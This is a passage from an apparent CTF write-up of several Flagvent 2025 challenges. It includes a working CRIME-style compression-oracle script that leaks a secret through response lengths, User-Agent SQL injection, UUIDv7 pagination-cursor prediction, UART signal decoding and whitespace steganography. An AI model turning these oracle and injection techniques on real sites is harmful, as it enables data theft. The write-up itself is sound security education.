    Christmas is drawing near and we have made it through the year without
    losing the flag this year. Only a bit longer, Santa! Please don't lose it
    again.
  </body>
</html>

Webserver

Caddy is a Go web server, and the Caddyfile is how it’s configured:

:5825 {
        @head {
                method HEAD
        }
        @wishlist {
                method GET
                path /wishlist
        }

        route {
                respond @wishlist "Access denied" 403 {
                   close
                }

                method @head GET
                encode gzip zstd

                reverse_proxy http://localhost:5824
        }
}

In this case, it’s listening on 5825 (the same port exposed by the Dockerfile). The route declaration first blocks anything matching @wishlist (GET to /wishlist) with a 403.

method @head GET will rewrite any HEAD requests to GET requests.

Both gzip and zstd compression are enabled.

Requests are proxied to localhost:5824 (the Rust application).

Interacting

Trying to GET /wishlist returns a 403 (as expected):

oxdf@hacky$ curl https://1281cdeb-d671-41ad-af92-c64a81a40581.challs.flagvent.org:1337/wishlist
Access denied

Issuing a HEAD request (-I in curl) returns 200 OK with a content length but no data:

oxdf@hacky$ curl -I https://1281cdeb-d671-41ad-af92-c64a81a40581.challs.flagvent.org:1337/wishlist
HTTP/1.1 200 OK
Content-Length: 433
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Dec 2025 12:23:03 GMT
Via: 1.1 Caddy

If I add another wish and try again, the content length shows that:

oxdf@hacky$ curl -I https://1281cdeb-d671-41ad-af92-c64a81a40581.challs.flagvent.org:1337/wishlist
HTTP/1.1 200 OK
Content-Length: 491
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Dec 2025 12:24:08 GMT
Via: 1.1 Caddy

Solution

Overview

The /wishlist page has the string “The flag is FV25{“ and then the flag, but I can only get the size of that page under gzip and zstd compression. If I fill the wishlist with specially crafted strings containing what I know of the flag plus the next character, if that next character matches the real flag, then the compression will be different than if it does not. I can abuse this to do an oracle attack. I’ll show two different versions.

CRIME Oracle

On originally solving I used a variation on an attack against CVE-2012-4929, using this POC from mpgn. I’ll use that to make the following script:

#!/usr/bin/env -S uv run
# /// script
# requires-python = ">=3.10"
# dependencies = ["requests"]
# ///
"""
CRIME-style oracle using two-tries method (requests version)
Based on: https://github.com/mpgn/CRIME-poc/blob/master/CRIME-rc4-poc.py
"""

import requests
import string
import random
import argparse

parser = argparse.ArgumentParser(description='CRIME-style compression oracle')
parser.add_argument('instance', help='Instance URL (e.g., abc123.challs.flagvent.org)')
parser.add_argument('found', nargs='?', default='', help='Already found flag content (after FV25{)')
args = parser.parse_args()

# Extract hostname from URL if full URL given
HOST = args.instance.replace('https://', '').replace('http://', '').split(':')[0].split('/')[0]
BASE_URL = f"https://{HOST}:1337"

session = requests.Session()


def add_wish(wish):
    session.post(f"{BASE_URL}/add_wish", data={"wish": wish})


def get_length(encoding="gzip"):
    resp = session.head(f"{BASE_URL}/wishlist", headers={"Accept-Encoding": encoding})
    return int(resp.headers.get("Content-Length", 0))


def two_tries_test(prefix, char):
    rand1 = ''.join(random.choices(string.ascii_lowercase + string.digits, k=17))
    rand2 = ''.join(random.choices(string.ascii_lowercase + string.digits, k=17))
    garbage = '~#:/[|/ç'
    current_flag = "The flag is FV25{" + prefix

    payload1 = rand1 + current_flag + char + garbage + rand2
    payload2 = rand1 + current_flag + garbage + char + rand2

    for _ in range(8):
        add_wish(payload1 * 15)
    len1 = get_length("gzip")

    for _ in range(8):
        add_wish(payload2 * 15)
    len2 = get_length("gzip")

    return len1, len2, len1 < len2  # True if char likely matches


CHARSET = '_' + string.digits + string.ascii_letters + "}{"


def solve_iterative():
    found = args.found

    for step in range(50):
        if found.endswith("}"):
            break

        winner = None
        for i, char in enumerate(CHARSET):
            len1, len2, matches = two_tries_test(found, char)
            status = "" if matches else " "
            print(f"\rFV25{{{found}{char} {i+1}/{len(CHARSET)} | {len1} vs {len2} | {status}    ", end="", flush=True)

            if matches:
                winner = char
                break

        if not winner:
            print(f"  No match found! Dead end.")
            break

        found += winner

    print(f"\rFinal: FV25{{{found}" + " " * 20)


if __name__ == "__main__":
    solve_iterative()

For a given string, it will create two equal length strings:

    payload1 = rand1 + current_flag + char + garbage + rand2
    payload2 = rand1 + current_flag + garbage + char + rand2

    for _ in range(8):
        add_wish(payload1 * 15)
    len1 = get_length("gzip")

    for _ in range(8):
        add_wish(payload2 * 15)
    len2 = get_length("gzip")

Both start with random junk, then the current flag. The first one then has the character to check and then garbage. The second has the same garbage and then the character.

If the character is the next character in the real flag, there will be more compression, so that payload will come back shorter. If not, it will be the same.

This takes a long while to run, and because it’s not deterministic, it can find a false character. I’ve written the args so that I can back up a couple characters and try again. Eventually it will find the full flag.

oxdf@hacky$ uv run solve_crime.py https://20837ce1-ef38-4687-9ae8-3381b785ac21.challs.flagvent.org:1337/ n0_M043_f4x3s_p1s
Final: FV25{n0_M043_f4x3s_p1s}

Flag: FV25{n0_M043_f4x3s_p1s}

FV25.18

Challenge

FV25.18 - Santa's Gift Factory Messenger

In order to facilitate communication amongst all elves working in the gift factory, Santa has asked one of the trainee eleves in the IT department to implement a new messenger application. Besides sending messages to other elves or the whole team, users of the application are also able to search for gifts that can be created in the gift factory. Unfortunately, in order to finish the application in time for the upcoming holiday season, essential security tests have been skipped.

Categories: webWEB
Level: medium
Author: lu161

The challenge spawns a website.

Enumeration

index.php

The site offers a few things on the main page:

image-20251219111318892

There are two parts to this website, each basically unrelated to the other.

The “Sign up for chat” form requires a username and password. The password has to be at least 8 characters, and the username has to be alphanumeric. These restrictions happen server-side (there is no JS in this site).

Once I register, it’s back to index.php to log in.

Messenger

On logging in, there’s a chat interface:

image-20251219111659136

The only message is from santa to me, which says I can message other elves or “@everyone”. If I try to send “hi”, SYSTEM replies:

image-20251219111904946

If I send “@bell hi”, it works:

image-20251219112056263

Interestingly, “hi @bell” only kind of works:

image-20251219112121197

It seems to not handle well if the name isn’t first, but that isn’t a vulnerability we can exploit.

I can send to “@everyone” as well:

image-20251219112538098

Gift Registry

Searching in the “Gift search” box on the index page leads to /santa_products.php. If I search for “a”, it returns a list of products that have “a” in them:

image-20251219112927878

If I look at the page source, there’s an HTML comment with my user agent string:

image-20251219113701700

That’s a bit odd.

Flag Part 1

The products page is implying that it’s logging my user agent string. I’ll test that in Burp Repeater:

image-20251219114102164

That’s a crash due to SQL with a broken INSERT INTO statement.

I can abuse this with a subquery:

image-20251219114403513

There are three databases:

image-20251219114624843

There are two tables in the santa_products database:

image-20251219114741655

There are three columns in access_log:

image-20251219115021311

And two in products:

image-20251219115046349

Dumping the product names shows half a flag:

image-20251219115140425

Flag Part 2

The second half of the flag is in the chat application. If I think about how the application shows me messages, I’m going to assume there’s a messages table in a database somewhere. I didn’t see it through the SQLI, but the chat app could user a different user to authenticate with access to different tables, or it could be stored in a different DB.

It’s worth trying usernames to see if they happen to trip interesting results. In this case, registering as everyone shows more messages:

image-20251219123752031

The “text” from some kid is the second half of the flag base64-encoded:

oxdf@hacky$ echo "MHJfM3YzcnkwbjN9" | base64 -d
0r_3v3ry0n3}oxdf@hacky$ 

Flag: FV25{pr353nt5_f0r_3v3ry0n3}

FV25.20

Challenge

FV25.20 - SantaOS Communications

Santa’s IT team developed a special operating system used to process wishes securely.

In a recent incident, the key for decrypting messages got lost and all backups were destroyed.

The only thing left are the following two files - Can you help Santa?

Categories: cryptoCRYPTO forensicsFORENSICS
Level: medium
Author: lu161
Attachments:
📦 santaos-communications.tar.gz

The download contains three files:

oxdf@hacky$ ls santaos-communications/
intercepted_message.txt  intercepted_SantaOS.txt  santaOS_logo.jpeg

Files

intercepted_message.txt

The first file is a text file with a challenge and a base64-encoded blob:

We intercepted following message sent from a device using Santa OS.
Can you decrypt it? 

U2FsdGVkX18IDMhwQMG9HpiCBLdo1SuQWoHNWRkzgaNDnDlEBruweUk70Bc/Kmds
DRFkbzUtkWOpG69ULK9Htp8LwINUfnwGQ3cMt/P2tnJfIeRUO0RDFryjUxZgUznL
2VT3wYZli3jWsiqAzEskyfHR8V5qGQjhJwnaV1vsfvxddogdukNBBA1UFYdXK9u+
D87DfWseLg33Zn4eGMy59GOrnB1rq2mXpLYHHKGDOQGpC7gwQ63RQEmlFki5CxS6
5ekYT7jCPG9XuuH+qP9WeHcj7Jjz6zxerz/7Jr+UaHco9h+sRcD0caWTFPu/OYfI
jMts0YZjosFOGTWPOw0Ly2ZlZlwPdgUmnKgG2F2j44YuuIVuBHVuGHoLBrz0mvjT
zcJxoE4wNxuGR3IFFbWDXIncbea/JYSGQ1ORuBIdXAGAlXfezJj+mYkf169nN6Jq
bWwpThzkGvexBMbMG6qAPqCkz3is0KU6QLs/gL+idkUJC96vfXsafMVJ9NACRjD3
HyUqqLJv8FG2sMwCGFZTXOvapHJxqizb7RzmRlv8lZ95oIu7ujqEMYb4p9SI2/MR
TZ+fU3tAPtx20/sFyWjJau0EL8BvQ1VjtTC/IJG6oe0NRlRU6b34vRxBa+AuARHx
GGSugTA0fp3X0pAeLb/R2g==

Decoding that shows it starts with the string “Salted__”:

oxdf@hacky$ cat intercepted_message.txt | tail -11 | base64 -d | xxd
00000000: 5361 6c74 6564 5f5f 080c c870 40c1 bd1e  Salted__...p@...
00000010: 9882 04b7 68d5 2b90 5a81 cd59 1933 81a3  ....h.+.Z..Y.3..
00000020: 439c 3944 06bb b079 493b d017 3f2a 676c  C.9D...yI;..?*gl
00000030: 0d11 646f 352d 9163 a91b af54 2caf 47b6  ..do5-.c...T,.G.
00000040: 9f0b c083 547e 7c06 4377 0cb7 f3f6 b672  ....T~|.Cw.....r
00000050: 5f21 e454 3b44 4316 bca3 5316 6053 39cb  _!.T;DC...S.`S9.
00000060: d954 f7c1 8665 8b78 d6b2 2a80 cc4b 24c9  .T...e.x..*..K$.
00000070: f1d1 f15e 6a19 08e1 2709 da57 5bec 7efc  ...^j...'..W[.~.
00000080: 5d76 881d ba43 4104 0d54 1587 572b dbbe  ]v...CA..T..W+..
00000090: 0fce c37d 6b1e 2e0d f766 7e1e 18cc b9f4  ...}k....f~.....
000000a0: 63ab 9c1d 6bab 6997 a4b6 071c a183 3901  c...k.i.......9.
000000b0: a90b b830 43ad d140 49a5 1648 b90b 14ba  ...0C..@I..H....
000000c0: e5e9 184f b8c2 3c6f 57ba e1fe a8ff 5678  ...O..<oW.....Vx
000000d0: 7723 ec98 f3eb 3c5e af3f fb26 bf94 6877  w#....<^.?.&..hw
000000e0: 28f6 1fac 45c0 f471 a593 14fb bf39 87c8  (...E..q.....9..
000000f0: 8ccb 6cd1 8663 a2c1 4e19 358f 3b0d 0bcb  ..l..c..N.5.;...
00000100: 6665 665c 0f76 0526 9ca8 06d8 5da3 e386  fef\.v.&....]...
00000110: 2eb8 856e 0475 6e18 7a0b 06bc f49a f8d3  ...n.un.z.......
00000120: cdc2 71a0 4e30 371b 8647 7205 15b5 835c  ..q.N07..Gr....\
00000130: 89dc 6de6 bf25 8486 4353 91b8 121d 5c01  ..m..%..CS....\.
00000140: 8095 77de cc98 fe99 891f d7af 6737 a26a  ..w.........g7.j
00000150: 6d6c 294e 1ce4 1af7 b104 c6cc 1baa 803e  ml)N...........>
00000160: a0a4 cf78 acd0 a53a 40bb 3f80 bfa2 7645  ...x...:@.?...vE
00000170: 090b deaf 7d7b 1a7c c549 f4d0 0246 30f7  ....}{.|.I...F0.
00000180: 1f25 2aa8 b26f f051 b6b0 cc02 1856 535c  .%*..o.Q.....VS\
00000190: ebda a472 71aa 2cdb ed1c e646 5bfc 959f  ...rq.,....F[...
000001a0: 79a0 8bbb ba3a 8431 86f8 a7d4 88db f311  y....:.1........
000001b0: 4d9f 9f53 7b40 3edc 76d3 fb05 c968 c96a  M..S{@>.v....h.j
000001c0: ed04 2fc0 6f43 5563 b530 bf20 91ba a1ed  ../.oCUc.0. ....
000001d0: 0d46 5454 e9bd f8bd 1c41 6be0 2e01 11f1  .FTT.....Ak.....
000001e0: 1864 ae81 3034 7e9d d7d2 901e 2dbf d1da  .d..04~.....-...

“Salted__” is the signature for a OpenSSL encrypted file. I’ll need a password.

intercepted_SantaOS.txt

intercepted_SantaOS.txt is a large base64-encoded blob. It decodes to over 10,000 lines of ASCII text:

oxdf@hacky$ cat intercepted_SantaOS.txt | base64 -d | wc -l
10734
oxdf@hacky$ cat intercepted_SantaOS.txt | base64 -d | head -20
$timescale 10 us $end
$var wire 1 ! D0 $end
$var wire 1 " D1 $end
$var wire 1 # D2 $end
$var wire 1 $ D3 $end
$var wire 1 % D4 $end
$var wire 1 & D5 $end
$var wire 1 ' D6 $end
$var wire 1 ( D7 $end
$upscope $end
$enddefinitions $end
#0 0! 1" 0# 1$ 1% 1& 1' 1(
#415477 1! 1#
#480392 0!
#480396 1!
#586717 0#
#586759 1#
#586769 0#
#586790 1#
#586800 0#

This is a Value Change Dump (VCD) file, which is:

an ASCII-based format for dumpfiles generated by EDA logic simulation tools. The standard, four-value VCD format was defined along with the Verilog hardware description language by the IEEE Standard 1364-1995 in 1996.

The header of this file defines eight wires, D0-D7, but only D2 (represented by #) has signal activity. The timescale is 10 microseconds.

I can upload the file into vc.drom.io to visualize the data. The only real data is in D2:

image-20251223061911668

Zooming in shows there’s a signal there:

image-20251223061957448

santaOS_logo.jpeg

santaOS_logo.jpeg is the logo for Santa OS:

There aren’t any interesting strings or exif data in the image. It’ll be a slight hint later.

Solution

Decode the VCD Signal

VCD files are commonly used to capture hardware signals from logic analyzers or oscilloscopes. Of the eight defined wires (D0-D7), only D2 shows activity. This single active data line is characteristic of UART serial communication - other common protocols like SPI use multiple data lines, and I2C uses two wires (data + clock).

UART typically uses the 8N1 format: 8 data bits, no parity, 1 stop bit. A frame looks like:

[START=0] [D0] [D1] [D2] [D3] [D4] [D5] [D6] [D7] [STOP=1]

I’ll write a Python script to decode the UART signal:

#!/usr/bin/env python3

def parse_vcd(filename):
    transitions = []
    current_time = 0
    with open(filename) as f:
        for line in f:
            line = line.strip()
            if line.startswith('#') and line[1:].isdigit():
                current_time = int(line[1:])
            elif line in ('0#', '1#'):
                transitions.append((current_time, int(line[0])))
    return transitions

def decode_uart(transitions, bit_time=10):
    chars = []
    i = 0
    while i < len(transitions):
        time, val = transitions[i]
        if val == 0:
            byte_val = 0
            for bit in range(8):
                sample_time = time + bit_time * (bit + 1) + bit_time // 2
                bit_val = 1
                for t, v in transitions:
                    if t <= sample_time:
                        bit_val = v
                    else:
                        break
                byte_val |= (bit_val << bit)
            chars.append(chr(byte_val))
            i += 1
            while i < len(transitions) and transitions[i][0] < time + bit_time * 10:
                i += 1
        else:
            i += 1
    return ''.join(chars)

transitions = parse_vcd('santaos.vcd')
print(decode_uart(transitions))

Running this reveals a boot log:

oxdf@hacky$ uv run decode_uart.py 
[*] Reading santaos-communications/intercepted_SantaOS.txt
[*] Base64 decoding...
[*] Parsing VCD file...
[*] Found 10720 transitions on D2 wire
[*] Decoding UART (bit_time=10, 8N1)...

============================================================
DECODED OUTPUT:
============================================================
Ho! Ho! Ho! Welcome to *SantaOS* - Version 2025.12.25
Command line: BOOT_IMAGE=/boot/vmlinuz-christmas root=UUID=fa1c0f83-a32d-4d4e-bfbf-d2369b17b32e ro quiet
Loading the sleigh... Please hold on while we gather the reindeer...
Kernel: Sleigh bells ring... are you listening?
Booting from the North Pole
ACPI: Reindeer fuel gauge check complete. All systems go!
BIOS: Powered by holiday magic! Christmas Eve 2025
Memory: 8GB of Christmas joy loaded and ready to go!
DMI: Reindeer Inc. SleighMaster 9000, BIOS Snowfall Edition 1.0
e820: Warming up the North Pole... All presents accounted for.
e820: [mem 0x0000000100000000-0x000000024fffffff] usable (Candy Cane Vault)
efi: ELF Loader: Powered by the Christmas Spirit
[Holiday Bug]: the boot CPU is running at full Christmas magic frequency.
Random init: random: twinkling lights initialized.
Random: Christmas cheer generated for all processes.
early console: Sleigh bells heard faintly in the distance...
Ho! Ho! Ho! Booting Christmas Kernel...
Loading the Reindeer Operating System from the North Poles initrd...
Freeing unused kernel memory: Wrapping paper discarded.
Write protecting the cookie storage: 8192 cookies saved.
Rudolph: Filesystem reindeer_root mounted successfully.
Starting systemd... The elves are busy assembling presents.
systemd[1]: Time synchronized with Santa's Workshop clock.
systemd[1]: Loaded Encryption Service - **AES-256 with CBC mode**
systemd[1]: Encryption Key (UPPERCASE): ><^v<<<^^v^^^>v>><^v<<<^^vvvv>v> 
Starting the Holiday-themed GNOME Display Manager (gdm)...
gdm[456]: **Merry Christmas!** GNOME Display Manager started.
Login: Welcome to SantaOS! Type your secret holiday wish to begin. All messages are encrypted.

============================================================

[!] Found: systemd[1]: Encryption Key (UPPERCASE): ><^v<<<^^v^^^>v>><^v<<<^^vvvv>v> 

Pigpen Cipher

The key is a string of arrow characters: ><^v<<<^^v^^^>v>><^v<<<^^vvvv>v>

There are many ways to decode this, but the the one that works is the Pigpen cipher. The logo with a pig is a hint in that directory. Pigpen has a bunch of other symbols that give it the ability to encode all the letters, but this text uses only four:

  • ^ → V
  • v → S
  • < → U
  • > → T

Applying this mapping to the arrow sequence:

><^v<<<^^v^^^>v>><^v<<<^^vvvv>v>

Translates to:

TUVSUUUVVSVVVTSTTUVSUUUVVSSSSTST

The boot log says “(UPPERCASE)”, confirming this is the correct format.

Decrypt the Message

I’ll use OpenSSL to decrypt the message:

oxdf@hacky$ openssl enc -aes-256-cbc -d -a -in intercepted_message.txt -pass pass:TUVSUUUVVSVVVTSTTUVSUUUVVSSSSTST
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
On a snowy night, so crisp and bright,
A challenge arose in the cold moonlight.
With hidden clues, through riddles and rhyme,
You searched for the flag, beyond space and time.

Through encrypted snowflakes and icy streams,
You followed the path of a hacker’s dreams.
In code and ciphers, you found the way,
To uncover the secret that lay in the fray.

Now at last, you’ve cracked the code tight,
And here’s your prize, shining in the night:

FV25{W3lc0m3_t0_S4nt4_OS}

Flag: FV25{W3lc0m3_t0_S4nt4_OS}

FV25.21

Challenge

FV25.21 - Santa's Nice List

Santa has spent the whole year adding names from around the world to his Nice List.

In a surprising move, he’s publicly releasing what gift each person will receive.

Rumour has it the very best presents were reserved for the first names added to the list.

Categories: webWEB
Level: medium
Author: mobeigi

Website

Legit Usage

The website asks for my name:

image-20251221160536007

On entering it, it loads the nice list:

image-20251221160608097

As I scroll down, it loads more and more.

Requests

After registration there’s a post to /api/list?limit=10 and then to /api/list?limit=10&before=eyJpZCI6IjAxOWI1MmMyLTNkMWItNzQyMS04ZTE3LTM2ODcyN2Q3NDcyMCJ9.

In the first response, it has 10 users with data in items, as well as a nextCursor, totalCount, and hasMore:

HTTP/1.1 200 OK
Server: nginx/1.29.4
Date: Sun, 21 Dec 2025 21:05:40 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 1300
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Origin: *
RateLimit-Policy: 240;w=60
RateLimit-Limit: 240
RateLimit-Remaining: 238
RateLimit-Reset: 59
ETag: W/"514-9/+SPbaNjJCF3e6TynDtKPMt69o"

{"items":[{"id":"019b52cd-2d5d-7dd8-b3e0-3a192c592c47","personName":"R. Yessi Saputra","gift":"Movie Theater Gold Class/VIP Tickets"},{"id":"019b52cb-e1cf-7b0f-b22e-8690d7f2c020","personName":"Justyna Materek","gift":"Pottery Wheel Workshop"},{"id":"019b52ca-a99b-7916-916d-dfb93d042ae0","personName":"R. Janet Sudiati","gift":"Tablecloth (Neutral Color)"},{"id":"019b52c9-7672-744c-b12b-a3da0f1e24d3","personName":"Elizabeth Stevens","gift":"Stainless Steel Whisk"},{"id":"019b52c8-2f7f-79d3-9b17-222afb18fd2a","personName":"山田 里佳","gift":"Fitbit Charge 6"},{"id":"019b52c6-e286-7046-b0eb-86391e843fec","personName":"Dion Eijkelboom","gift":"Selmer Paris Reference 54 Alto Saxophone"},{"id":"019b52c6-1c0c-75c8-97bf-8c3823c56985","personName":"Jan Strøm","gift":"Aquarium Shark Dive"},{"id":"019b52c4-cee7-74c0-9ca7-e7c3d089f2bd","personName":"Sra. Mariah Borges","gift":"Magic Show Tickets"},{"id":"019b52c3-ad82-7fb4-8fe0-655e912573b0","personName":"박순자","gift":"Furniture Sliders (for moving heavy items)"},{"id":"019b52c2-3d1b-7421-8e17-368727d74720","personName":"Flavio Roda Colomer","gift":"Goop \"This Smells Like My Vagina\" Candle (Gwyneth Paltrow)"}],"nextCursor":"eyJpZCI6IjAxOWI1MmMyLTNkMWItNzQyMS04ZTE3LTM2ODcyN2Q3NDcyMCJ9","count":10,"hasMore":true,"totalCount":465632}

The token used for next is just base64 encoded JSON:

oxdf@hacky$ echo eyJpZCI6IjAxOWI1MmMyLTNkMWItNzQyMS04ZTE3LTM2ODcyN2Q3NDcyMCJ9 | base64 -d
{"id":"019b52c2-3d1b-7421-8e17-368727d74720"}

JavaScript

There is app.js that manages the loading of the list, and it has obfuscated parts that contain a bunch of fake flags. I won’t go through this here.

UUID Prediction

UUIDv7

Inspecting the UUIDs that come back from a single query, I’ll notice that they all start with the same six characters, and the seventh is only c or b:

oxdf@hacky$ curl -s "https://998f2a87-116e-4f2f-8a06-d0235b1d1702.challs.flagvent.org:31337/api/list?limit=10&before=eyJpZCI6IjAxOWI1MmMyLTNkMWItNzQyMS04ZTE3LTM2ODcyN2Q3NDcyMCJ9" | jq -r .items[].id
019b52c1-5260-7b6d-8fd3-0a548cfa4925
019b52c0-07a6-7737-ade9-6d3437683068
019b52bf-0d02-7e9d-be2e-a0fe3096eef8
019b52bd-c64e-7114-9967-3de6b446e9eb
019b52bc-aac2-79c2-b36f-1ca24e8f3a6d
019b52bb-953d-799d-b86e-08b708a476d3
019b52b9-f383-7a9a-8b85-cd1319f4ab81
019b52b9-2a5a-7545-badd-c788ded96be9
019b52b7-fa8a-7f80-932c-402118bfd006
019b52b6-d6dc-78b0-9a8e-2ef769943acc

The first character of the third group is the UUID version, in this case 7.

UUID version 7 has a timestamp making up the first six bytes before the version. I can paste it into a site like this and get the timestamp. For example:

image-20251221162101113

To easily quickly test UUIDs, I’ll write a quick Python script:

# /// script
# requires-python = ">=3.11"
# dependencies = [
#     "requests",
# ]
# ///
import requests
import sys
from base64 import b64encode


host = "https://6b7597c8-4b56-4a9d-96c1-6c1a88918c3f.challs.flagvent.org:31337/"

if len(sys.argv) != 2:
    print(f"usage: {sys.argv[0]} <UUID>")
    sys.exit()

#curl -s "https://998f2a87-116e-4f2f-8a06-d0235b1d1702.challs.flagvent.org:31337/api/list?limit=10&before=$(echo -n '{"id":"01900000-d6dc-78b0-9a8e-2ef769943acc"}' | base64 -w0)"
token = b64encode(f'{{"id":"{sys.argv[1]}"}}'.encode()).decode()
url = f"{host}api/list?limit=3&before={token}"
resp = requests.get(url)
print(resp.text)

Now I can test a UUID easily:

oxdf@hacky$ uv run fetch_uuid.py 019b52b6-d6dc-78b0-9a8e-2ef769943acc
{"items":[{"id":"019b52b5-668a-7da0-8841-726633069154","personName":"माननीय कशोर जैन","gift":"Avocado Slicer Tool"},{"id":"019b52b4-35a9-7b2e-81c3-d2543709bcf1","personName":"Ricciotti Nicoletti","gift":"Fliteboard Air Series 3"},{"id":"019b52b3-0049-7dae-b0ee-9f8415c87603","personName":"Luthfi Nasyidah","gift":"Vespa GTS 300 Super Sport"}],"nextCursor":"eyJpZCI6IjAxOWI1MmIzLTAwNDktN2RhZS1iMGVlLTlmODQxNWM4NzYwMyJ9","count":3,"hasMore":true,"totalCount":465632}
oxdf@hacky$ uv run fetch_uuid.py 019b52b6-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
true

I’ll lower the timestamp until I find no hasMore:

oxdf@hacky$ uv run fetch_uuid.py 019b0000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
true
oxdf@hacky$ uv run fetch_uuid.py 01900000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false

I’ll work through cutting the remaining space roughly in half to zero in on the earliest timestamp in the data set:

oxdf@hacky$ uv run fetch_uuid.py 019b52b6-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
true
oxdf@hacky$ uv run fetch_uuid.py 019b0000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
true
oxdf@hacky$ uv run fetch_uuid.py 01900000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false
oxdf@hacky$ uv run fetch_uuid.py 01950000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
true
oxdf@hacky$ uv run fetch_uuid.py 01920000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false
oxdf@hacky$ uv run fetch_uuid.py 01935000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false
oxdf@hacky$ uv run fetch_uuid.py 01945000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
true
oxdf@hacky$ uv run fetch_uuid.py 01940000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false
oxdf@hacky$ uv run fetch_uuid.py 01942800-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
true
oxdf@hacky$ uv run fetch_uuid.py 01941400-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false
oxdf@hacky$ uv run fetch_uuid.py 01942000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
true
oxdf@hacky$ uv run fetch_uuid.py 01941a00-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false
oxdf@hacky$ uv run fetch_uuid.py 01941d00-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false
oxdf@hacky$ uv run fetch_uuid.py 01941f00-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false

Once I get close to the end, there’s a flag in the data:

oxdf@hacky$ uv run fetch_uuid.py 01941f2b-d6dc-78b0-9a8e-2ef769943acc | jq .
{
  "items": [
    {
      "id": "01941f2b-3673-7fa5-814d-4f8ef731dfb2",
      "personName": "darkice__",
      "gift": "Chamois Drying Cloth"
    },
    {
      "id": "01941f2a-9718-708c-b47f-515457f0152a",
      "personName": "austriangam3r",
      "gift": "Samsung Galaxy Tab S9"
    },
    {
      "id": "01941f29-7c00-7625-8e2e-e327b7dec395",
      "personName": "You",
      "gift": "🚩A shiny flag! FV25{Pr3d1ct4bl3_P4g1n4t10n_w1th_UUIDv7} 🚩"
    }
  ],
  "nextCursor": null,
  "count": 3,
  "hasMore": false,
  "totalCount": 465632
}

Flag: FV25{Pr3d1ct4bl3_P4g1n4t10n_w1th_UUIDv7}

FV25.H4

Challenge

FV25.H4 - Waiting for Christmas

This extra flag is hidden inside another challenge.

Categories: hiddenHIDDEN
Level: hidden
Author: hidden

Solution

In Day 21, Santa’s Nice List, when I start the challenge, there’s a page that shows for about a minute, auto-refreshing until the main page comes up:

image-20251226072823947

The source for this is pretty straight forward:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="refresh" content="3">
    <title>Challenge Starting</title>
    <style>
...[snip]...
    </style>
</head>
<body>
    <div class="container">
        <img src="https://flagvent.org/img/flagvent.png" alt="Flagvent Logo" class="logo">
        <h1>🎄 Challenge is starting 🎄</h1>
        <div class="spinner"></div>
        <p>Please wait while the challenge is starting (this can take up to a minute).</p>
    </div>
    <script>
        // Create falling snowflakes
        for (let i = 0; i < 50; i++) {
            const snowflake = document.createElement('div');
            snowflake.className = 'snowflake';
            snowflake.innerHTML = '';
            snowflake.style.left = Math.random() * 100 + '%';
            snowflake.style.animationDuration = (Math.random() * 3 + 2) + 's';
            snowflake.style.animationDelay = Math.random() * 5 + 's';
            snowflake.style.fontSize = (Math.random() * 10 + 10) + 'px';
            document.body.appendChild(snowflake);
        }
    </script>
	    	  	  	     	    	       	      	      	    
      	      	   	       	     	    	       		  	    
  	  	   	 	    		    	  	     
	   	       	       	 	  	  	   	    	     
       	       	    	      	   	       		 	 
	  	   	 	       	      	     

</body>
</html>

There’s some weird whitespace at the end after the closing script tag before the closing body tag.

I’ll save a copy of this page, and look at the lines that are just whitespace:

oxdf@hacky$ cat index.html | grep -P '^\s*$' | xxd
00000000: 0920 2020 2009 2020 0920 2009 2020 2020  .    .  .  .    
00000010: 2009 2020 2020 0920 2020 2020 2020 0920   .    .       . 
00000020: 2020 2020 2009 2020 2020 2020 0920 2020       .      .   
00000030: 200a 2020 2020 2020 0920 2020 2020 2009   .      .      .
00000040: 2020 2009 2020 2020 2020 2009 2020 2020     .       .    
00000050: 2009 2020 2020 0920 2020 2020 2020 0909   .    .       ..
00000060: 2020 0920 2020 200a 2020 0920 2009 2020    .    .  .  .  
00000070: 2009 2009 2020 2020 0909 2020 2020 0920   . .    ..    . 
00000080: 2009 2020 2020 200a 0920 2020 0920 2020   .     ..   .   
00000090: 2020 2020 0920 2020 2020 2020 0920 0920      .       . . 
000000a0: 2009 2020 0920 2020 0920 2020 2009 2020   .  .   .    .  
000000b0: 2020 200a 2020 2020 2020 2009 2020 2020     .       .    
000000c0: 2020 2009 2020 2020 0920 2020 2020 2009     .    .      .
000000d0: 2020 2009 2020 2020 2020 2009 0920 0920     .       .. . 
000000e0: 0a09 2020 0920 2020 0920 0920 2020 2020  ..  .   . .     
000000f0: 2020 0920 2020 2020 2009 2020 2020 200a    .      .     .
00000100: 0a  

It’s an interesting mix of tabs and space, which is how stegsnow stores data. I ran into stegsnow in the first hidden flag in the 2019 Hackvent. It uses extra whitespace at the end of lines as a place to encode data.

I’ll pass the full index.html to stegsnow with the -C flag to decompress the data, and it dumps the flag:

oxdf@hacky$ stegsnow -C index.html 
FV25{h1dd3n_1n_5n0w}

Flag: FV25{h1dd3n_1n_5n0w}